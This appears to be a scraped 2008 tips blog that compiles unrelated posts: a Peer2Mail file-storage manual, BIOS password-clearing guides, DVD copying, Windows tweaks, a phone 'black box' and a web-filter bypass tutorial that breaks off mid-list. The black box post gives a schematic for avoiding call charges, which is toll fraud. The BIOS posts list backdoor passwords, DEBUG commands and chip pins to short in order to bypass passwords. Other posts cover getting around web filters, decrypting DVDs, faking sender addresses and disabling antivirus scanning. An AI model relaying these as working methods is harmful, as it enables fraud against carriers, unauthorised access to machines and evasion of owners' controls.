http://www.peer2mail.com/forums/viewforum.php?f=13

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Here u are now u should be an expert on peer2mail!!!

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Peer2Mail is the first software that let you store and share files on any web-mail account. If you have a web mail account with large storage space, you can use P2M to store files on it. Web-mail providers such as Gmail (Google Mail), Walla!, Yahoo and more, provide storage space that ranges from 100MB to 3GB.

P2M splits the file you want to share/store zips and encrypts it. P2M then sends the file segments one by one to your account. Once P2M uploaded all file segments, you can download them and use P2M to merge the segments back to the original file.

Sending a File

In order to send a file to an email account, Peer2Mail needs to split it into segments. Web-mail providers limit the size of an email attachment usually to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). Use the following dialog to prepare the file before sending:

* File Name - The file/s you want to send. You can use the Browse button to select a single or multiple files.

* Mail To - The recipients who will receive the file (Web-mail account). When using Direct Send you may enter only one email address. If you are sending Via MAPI then you can enter as many recipients as you like; Use the Recipients button to easily add email address separated by semi colon (icon_wink.gif.

* Optional Encryption Password - P2M automatically encrypts each segment to protect you privacy, however you can set a password (key) for the encryption to maximize the privacy. You will need this password when you merge the segments back.

* Segment Size - P2M splits the file into segments. Here you can determine the segment size, most of the web-mail providers limit the attachment size to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). It is recommended to test your web-mail provider for the size of an attachment it can receive.

Send Method -

o Direct Send - P2M has a built in SMTP component that sends the segments directly to the web-mail providers. You don't need to enter your ISP details in order to use P2M. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address.

o Send Via MAPI - P2M can send the segments using MAPI (Usually your outlook client). When you use this option P2M will split the files and move the sending responsibility to Outlook. Note that it will use your ISP SMTP server and details to send the files. You may enter as many recipients as you wish when using this option.

o Send Via SMTP Server - Send the segments using your ISP SMTP Server. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address. You may enter as many recipients as you wish when using this option.

* From Email Address - This is the source address of the mail. This address doesn't have to be valid, although sometimes web-mail providers reject emails where the domain part of the address isn't valid.

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Once you are done, click on the Ok button. You can now choose if you want P2M to send all the segments or only specific few by checking/un-checking the checkboxes. Once you are ready, click on the Send button. It may take a few hours to complete the operation depending on the file size and your internet connection.

Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.

Plain Transfer

In case you don't want Peer2Mail to split, zip and encrypt your files, and just want to send the files "as is�" then you can use Plain Transfer. This option isn't secure. P2M just sends the file as an email attachment and some web mail providers might even block it.

Choose Plain Transfer from the drop down button: Image.

Once you are done filling the details as described above, click on the Ok button. Once you are ready, click on the Send button.

Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.

Downloading the Segments

P2M includes a built in browser so you can easily log into your web-mail account. Before you can merge the segments you need to download them. It is important that you will save all the segments into the same folder. The first segment name ends with the P2M extension and the rest follow with a serial number 001...00x.

Auto Download

Peer2Mail can automatically list and download files from web-mail accounts. Currently P2M supports auto-download from Gmail, Walla, Yahoo, Spymac, Unitedemailsystems, Xasamail, Gawab, Hriders and Omnilect. To use this feature, login to your account and click on the green download button (Image). P2M will then list the segments (may take a few minutes) and at any time you can tell P2M what segment to download by clicking on the checkboxes that appear next to them. Click on the Download button to begin downloading the selected segments.

If you checked the Auto Merge checkbox then Peer2Mail will automatically merge the segments once the download process is done

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The listing process can be a bit slow since P2M scans the mail account and gathers information about each attachment. Sometimes a server doesn't reply to a request so P2M might skip it. To fix that, once the listing process is over, click on the refresh button and P2M will re-index only the segments it didn't already list.

P2M scans for segments only in the inbox for Yahoo, Walla, Spymac, Unitedemailsystems, Xasamailand, Gawab, Hriders, Omnilect, and on all folders with Gmail.

Merging the Segments

Once you completed downloading all the segments, use P2M to merge it back to the original file. Choose the folder you want the file to be saved in and click on the Merge button. The Merge dialog:

# P2M File/s - use the Browse button to select the first segment of the file you wish to merge. The first segment extension is P2M.

# Decryption Password - If you used a password when you sent the file to your account, you must enter it now in order to merge it back. Incorrect password will result in a failure to merge the segments.

How to clear Bios info

2008-09-16T00:30:00.001-07:00

READ EVEYTHING BEFORE YOU USE ANY METHOD LISTED BELOW

Basic BIOS password crack - works 9.9 times out of ten

This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:

Get DOS prompt and type:

DEBUG hit enter

-o 70 2e hit enter

-o 71 ff hit enter

-q hit enter

exit hit enter

Restart the computer. It works on most versions of the AWARD BIOS.

Accessing information on the hard disk

When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.

Standard BIOS backdoor passwords

The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:

AWARD BIOS

AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%

AMI BIOS

AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder

Other passwords you may try (for AMI/AWARD or other BIOSes)

LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj

Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.

Flashing BIOS via software

If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.

However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:

AMI/AWARD BIOS

O 70 17

O 71 17

Q

PHOENIX BIOS

O 70 FF

O 71 17

Q

GENERIC

Invalidates CMOS RAM.

Should work on all AT motherboards

(XT motherboards don't have CMOS)

O 70 2E

O 71 FF

Q

Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.

Flashing BIOS via hardware

If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.

Using the jumpers

The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.

To find the correct jumper you should read the motherboard's manual.

Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.

If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.

If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.

Removing the battery

If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.

Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.

Short-circuiting the chip

Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.

Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.

CHIPS P82C206 (square)

Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).

gnd

74

|__________________

5v 75--| |

| |

| |

| CHIPS |

1 * | |

| P82C206 |

| |

| |

|___________________|

| |

| gnd | 5v

12 32

OPTi F82C206 (rectangular)

Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).

80 51

|______________|

81 -| |- 50

| |

| |

| OPTi |

| |

| F82C206 |

| |

100-|________________|-31

|| | |

1 || | | 30

3 26

Dallas DS1287, DS1287A

Benchmarq bp3287MT, bq3287AMT

The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.

CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.

The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.

__________

1 -| * U |- 24 5v

2 -| |- 23

3 -| |- 22

4 -| |- 21 RCL (RAM Clear)

5 -| |- 20

6 -| |- 19

7 -| |- 18

8 -| |- 17

9 -| |- 16

10 -| |- 15

11 -| |- 14

gnd 12 -|__________|- 13

NOTE: Although these are 24-pin chips,

the Dallas chips may be missing 5 pins,

these are unused pins.

Most chips have unused pins,

though usually they are still present.

Dallas DS12885S

Benchmarq bq3258S

Hitachi HD146818AP

Samsung KS82C6818A

This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.

Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.

Short together pins 12 and 24.

5v

24 20 13

|___________|____________________|

| |

| DALLAS |

|> |

| DS12885S |

| |

|__________________________________|

| |

1 12

gnd

Motorola MC146818AP

Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.

__________

1 -| * U |- 24 5v

2 -| |- 23

3 -| |- 22

4 -| |- 21

5 -| |- 20

6 -| |- 19

7 -| |- 18

8 -| |- 17

9 -| |- 16

10 -| |- 15

11 -| |- 14

gnd 12 -|__________|- 13

Replacing the chip

If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.

Important

Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.

Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .

Key Disk for Toshiba laptops

Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop (***.bpsoft.com/downloads/index.html) to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.

Key protected cases

A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.

How To Convert File System, fat - fat32 to ntfs

2008-09-16T00:26:00.001-07:00

How To Convert File System, fat - fat32 to ntfs

open a dos prompt and give the command

convert d: /fs:ntfs

this command would convert your d: drive to ntfs.

if the system cannot lock the drive, you will be prompted to convert it during next reboot.

Normally you should select yes.

Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.

Be aware that converting to ntfs will make that partition of your

drive unreadable under dos unless you have ntfs utilites to do so.

How To Copy A Dvd Which Will Play On A X Box

2008-09-16T00:19:00.001-07:00

How To Copy A Dvd Which Will Play On A X Box

HOW TO COPY A DVD WHICH WILL PLAY ON A X BOX

TOOLS YOU WILL NEED:

DVD decrypter

DAEMON TOOLS

DVD2ONE

NERO 5.5.10 or above.

1. Rip the DVD in ISO mode with DVD decrypter to your hdd.

(mode=ISO-read)

2. Right click DEAMON TOOLS icon on your desktop

virtual cd/dvd rom

Device 0 [k] no media

Mount Image - ISO file

3. Make a main folder ( title MOVIE ) on your desktop.

make 2 subfolders in it VIDEO_TS and AUDIO_TS

4. Open DVD2ONE. choose movie only or entire disc.

source - drive you mounted in step 2 (VIDEO_TS)

Destination - VIDEO_TS folder you created in step 3.

start

5. DEAMON TOOLS - unmount the drive you made in step 2.

you can now delete the ISO file to save disc space

6. open NERO

close wizard

New Compilation DVD

Left Column (DVDROM/UDF/ISO)

No Multisession

UHF check Force DVD compatability (required for x box)

Label ( NAME OF MOVIE ) ALL CAPITAL LETTERS

Click New

drag over the VIDEO_TS FOLDER and AUDIO_TS folder you made

BURN

How to copy songs from your iPod to your PC

2008-09-16T00:18:00.001-07:00

How to copy songs from your iPod to your PC

A reader points out a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:

1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.

2. In Control Panel, Portable Media Devices, double-click your iPod.

3. Navigate to the Music folder.

4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.

And you're done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check "Keep iTunes Music Folder organized.")

If you give this a go, lemme know how it goes. I'll ammend the instructions with any additional info for other versions of Windows and iPods.

Just for the record, I did not write this article, but I would have known how to do this. But one thing I ahve noticed is that you do not need to go into the control panel. Instead just make explorer.exe show hidden folders. Then, navigate into the iPod directory, go into iPod_control, and follow step four of the article. Software

How To Customise Your start Button

2008-09-16T00:17:00.001-07:00

First you need a tool called "Resource Hacker". This free program allows you to change resources in any .exe file such as "Explorer.exe", which includes the [Start] button's Label. You can visit Download.com and search there for "Resource Hacker".

After you download it, follow the guide here:

Step 1:

A - Run "Resource Hacker" and open the file "%windir%\Explorer.exe".

B - You see a Tree of all Resources in this file, expand the "String Table"

C - Find the "start" and replace it with your own text. then press the [Compile Script] button.

D - Save "Explorer.exe" as "MyStart.exe" DONT save it as Explorer.exe, do "save as.." and give it a new name.

E - Quit "Resource Hacker".

Step 2:

A - Click on the [Start] button and choose the "Run..." item from the start menu. (Or use the shortcut key WinKey+R)

B - Type "RegEdit" in the Run "Dialog Box". And then press the [Ok] buton to run the "Registry Editor" program.

C - Go to: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon" and find the "Shell" property.

D - Replace value of the "Shell" property to "MyStart.exe".

E - Quit "Registry Editor".

F - Restart your system.

Note about Registry Editor:

if you did not find the key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon", you can search the Registry for the "Explorer.exe", to do this use the Edit Menu | Find Next (Ctrl+F).

AmirBehzad Eslami's site has a handy tool for altering your start button, which makes life much easier, you can find his site here:

h**p://www.startbtn.main-page.com

How To Directly Go To Inbox, Write Msg, w Hotmail, no need for hotmail today - http users

2008-09-16T00:16:00.001-07:00

FOR HOTMAIL OR MSN EMAIL USERS

sometimes just checking the hotmail website to check your hotmail or msn email is quicker than opening your email client.. and this method is a sure-fire way to make checking your email very quick and easy.. i would suggest making a seperate folder in your bookmark list and add this links into that folder to make checking your multiple folders in hotmail very accessible with one single click.

FIRST go to hotmail.com and log in. make sure you set it to automatically sign you in.. (i guess only for ppl that have a computer all to themselves )

afterwards try going to this link

you might have to update your links every now and then but work fine for the most part..

CODE

http://hotmail.msn.com/cgi-bin/HoTMaiL?

use this for your inbox

CODE

http://hotmail.msn.com/cgi-bin/compose?

use this for 'compose message'

CODE

http://hotmail.msn.com/cgi-bin/options?

options of course

CODE

http://hotmail.msn.com/cgi-bin/addresses?

contact list etc.

if you have customized folders you can link directly to those as well

just click on one of your custom folders and copy the url..

should look something like the following...

/http://hotmail.msn.com/cgi-bin/HoTMaiL?a=abcdefghijklmnop&curmbox=F123456789

delete the 'yellow' portion above to change the url into this...

CODE

http://hotmail.msn.com/cgi-bin/HoTMaiL?&curmbox=F123456789

bookmark this link.

that should make your bookmark permanent with no "RESEND POST DATA" messages..

enjoy

How To Disable Picture And Fax Viewer

2008-09-16T00:15:00.001-07:00

We all know that WinXP likes to keep itself held together, and how it doesnt like you uninstalling certain components. Well The Picture and Fax Viewer, is one of these programs which can cause problems if removed incorrectly. It can be disabled safely as follows:

[Start] [Run] type regedit and click [OK]

Navigate to :

HKEY_CLASSES_ROOT/ SystemFileAssociations/ image/ ShellEx/ ContextMenuHandlers

then delete the Folder ShellImagePreview under ContextMenuHandlers

Note: If you want to restore the Picture and Fax Viewer :

Create the ShellImagePreview folder and create the String Value (Default)

Assign it the value {e84fda7c-1d6a-45f6-b725-cb260c236066}

NOTE: This tweak doesnt uninstall the program. It removes the association and therefore it cannot be run.

HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING

2008-09-16T00:14:00.001-07:00

Some people seem to think our network is a kind of a store a they just pick what they want without sharing anything!

(and other considere our net as a schoolyard where one "trade"... Childish!)

*********************

You can help everybody getting rid of them by boycotting them that way:

You "browse" each uploading user.

** If he/she shares more than, say, a hundred files (and NOT in the WinMx directory only, putting them elsewhere and unshared when entirely downloaded !!!), OK.

NB: a hundred is not a lot but 1- we don't all have a large HDD and some files are big 2- when you begin...!

** If not:

You can send a message to him/her to ask why there is no real share, or not at all, for they can have forgotten to do so: give them a chance! The first time, I didn't understand that I had to choose the shared files types, so I shared nothing, unwillingly. Somebody told it to me in a message.

If no answer and/or still no shared file, you can exclude the selfish beast:

(Thanks to dwhite who gave the modus operandi on the WinMx net)

To block somebody from downloading, add the name to your HOTLIST (right-click the name then "Add to hotlist") then to your IGNORE list.

You won't receive any messages nor will they enter your queue, during that session at least.

********************

On the contrary, you can help people who share a lot by starting the tranfer when they are in your queue, or give a higher bandwith priority...

How To Block Websties Without Software, block websites

2008-09-16T00:13:00.001-07:00

How To Block Websties Without Software, block websites

Steps:

1] Browse C:\WINDOWS\system32\drivers\etc

2] Find the file named "HOSTS"

3] Open it in notepad

4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.

5] Done!

-So-

127.0.0.1 localhost

127.0.0.2 www.blockedsite.com

-->www.blockedsite.com is now unaccessable<--

For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

IE: 127.0.0.3 www.blablabla.com

127.0.0.4 www.blablabla.com

127.0.0.5 www.blablabla.com

etc

How To Boot Xp Faster (updated).txt

2008-09-16T00:12:00.001-07:00

First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP, there's an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and there's no need to erease any other files as the new prefetch option in XP really improves loading time of installed programs. We only want WindowsXP to boot faster and not decrease its performance. Thanks to Rod Cahoon (for the prefetch automation process...with a minor change of mine) and Zeb for the IDE Channel tweak as those two tricks, coupled together with a little modification, result in an EXTREMELY fast bootup:

1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".

5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.

11. Reboot your computer.

WindowsXP should now boot REALLY faster.

How to clear Bios info 2

2008-09-16T00:11:00.001-07:00

How to clear Bios info

READ EVEYTHING BEFORE YOU USE ANY METHOD LISTED BELOW

Standard BIOS backdoor passwords

The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:

AWARD BIOS

AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %�� p��%, %�� p��%

AMI BIOS

AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder

Other passwords you may try (for AMI/AWARD or other BIOSes)

LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj

Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.

NOTE: Although these are 24-pin chips,

the Dallas chips may be missing 5 pins,

these are unused pins.

Most chips have unused pins,

though usually they are still present.

How to build a black box

2008-09-16T00:10:00.001-07:00

How to build a black box?

I found this tutorial quite a long time ago and I don't know if it still works. Nevertheless , it might be interresting to read, you might even learn something from it! I would have gladly given credit to it's author but won't since I have no idea who he is. So here is his tutorial that remained unchanged ( I hope!):

A BLACK BOX

is a device that is hooked up to your phone that fixes your phone so that when you get a call, the caller doesn't get charged for the call. This is good for calls up to 1/2 hour, after 1/2 hour the phone Co. gets suspicious, and then you can guess what happens.

What this little beauty does is keep the line voltage from dropping to 10v when you answer your fone. The line is instead kept at 36v and it will make the fone think that it is still ringing while your talking. The reason for the 1/2 hour time limit is that the

phone CO. thinks that something is wrong after 1/2 an hour of ringing.

All parts are available at Radio Shack. Using the least possible parts and arangement, the cost is $0.98 !!!! And that is parts for two of them! Talk about a deal! If you want to splurge then you can get a small PC board, and a switch. There are two

schematics for this box, one is for most normal fones. The second one is

for fones that don't work with the first. It was made for use with a Bell

Trimline touch tone fone.

** Schematic 1 for most fones **

** LED ON: BOX ON **

FROM >--------------------GREEN-> TO

LINE >--! 1.8k LED !---RED--> FONE

!--///--!>--!

! !

------>/<-------

SPST

Parts: 1 1.8k 1/2 watt resistor

1 1.5v LED

1 SPST switch

You may just have two wires which you connect together for the switch.

** Schematic 2 for all fones **

** LED ON: BOX OFF **

FROM >---------------GREEN-> TO

LINE >------- ---RED--> FONE

! LED !

-->/<--!>--

! !

---///---

1.8k

�Parts: 1 2 watt resistor

1 1.5v LED

1 DPST switch

Here is the PC board layout that I recommend using. It is neat and is very easy to hook up.

Schematic #1 Schematic #2

************** ****************

* * * ------- *

* --<LED>--- * * ! ! *

* ! ! * * ! <SWITCH> *

* RESISTOR ! * * ! ! ! *

* ! ! * * ! ! / *

* -------- ! * * ! ! *

* ! ! * * ! <LED>! / *

* --SWITCH-- * * ! ! *

* ! ! * * ! ! / *

L * ! ! * F L * ! ! ! * F

I>RED- -RED>O I>RED- ---RED>O

N>-----GREEN---->N N>-----GREEN------>N

E * h * E E * * E

************** ****************

Once you have hooked up all the parts, you must figure out what set of wires go to the line and which go to the fone. This is because of the fact that LED's must be put in, in a certain direction. Depending on which way you put the LED is what controls what wires are for the line & fone.

How to find out:

Hook up the box in one direction using one set offor line and the other for fone.

*NOTE* For Model I switch should be OFF.

*NOTE* For Model ][ switch should be set to side connecting the led.

Once you have hooked it up, then pick up the fone and see if the LED is on. If it is, the LED will be lit. If is doesn't light then switch the wires and try again. Once you know which are which then label them. *NOTE* - If neither directions worked then your

�lable the switch in its current position as BOX ON.

How to use it:

The purpose of this box is for poeple who call you not to pay so it would make

sence that it can only be used to receive! calls. When the box is *ON* then you may only recieve calls. Your fone will ring like normal and the LED on the box will flash. If you answer the fone now, then the LED will light and the caller will not be charged. Hang up the fone after you are done talking like normal. You will not be able to get a dial-tone or call when the box is on, so turn the box *OFF* for normal calls. I don't recommend that you leave it on all the time, as you don't want it to answer when Ma Bell calls!

Hope it brought something to those who read it.

XIII

numberXIII@Phreaker.net

how to burn quicker in windows xp

2008-09-16T00:09:00.001-07:00

windows xp has burning software built in which can cause problems sometimes when burning with other programs.

you can turn windows xp burning tool off like this.

Go to "administrative tools" in the control panel.

In the "services" list, disable the IMAPI CD-Burning COM service.

How To Bypass Web Filters, tutorial

2008-09-16T00:07:00.000-07:00

How to bypass web filters

There are several occasions where you will be at a public te How to bypass web filters

rminal, and require access to a particular website that is blocked for some reason or another. How to bypass these restrictions is a very common question, and will be covered here.

Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you're going to A-

W. There are a variety of ways to do this:

Proxy Servers:

This is a list of http proxies. These sites may not be up forever, so you may need to search for "free http proxy" or "public proxy servers" or other similar terms.

Proxy server lists:

• http://www.aliveproxy.com

• http://www.multiproxy.org

• http://www.publicproxyservers.com/index.html

• http://www.tehbox.com/proxy

• http://www.proxz.com

• http://www.proxy4free.com/index.html

• http://free-proxies.com

Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the "use a proxy server for your LAN" option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.

*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you'll find one that works, or works faster.

The infamous translation trick:

Go to a web page translation site and use their services to "translate a page to English" thus accessing the blocked page through their trusted site.

You'll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.

• http://babelfish.altavista.com

• http://world.altavista.com

• http://translation.langenberg.com

• http://freetranslation.com/web.thm

Url Scripting:

Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like "www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)

Other tricks:

Simply open the command prompt and type:

Ping restricted.com ? restricted.com obviously being the restricted site

At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see "How to bypass restrictions to get to the command prompt." If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.

Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.

Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.

Web based Proxies:

Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:

• http://proxify.com]http://proxify.com

• http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi

• http://www.guardster.com/]http://www.guardster.com/

• http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html

• http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html

• https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf

• http://www.anonymizer.ru]http://www.anonymizer.ru

• https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi

• http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi

• http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi

Proxy Programs:

There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we've covered here. I've added them just to cover the topic thoroughly:

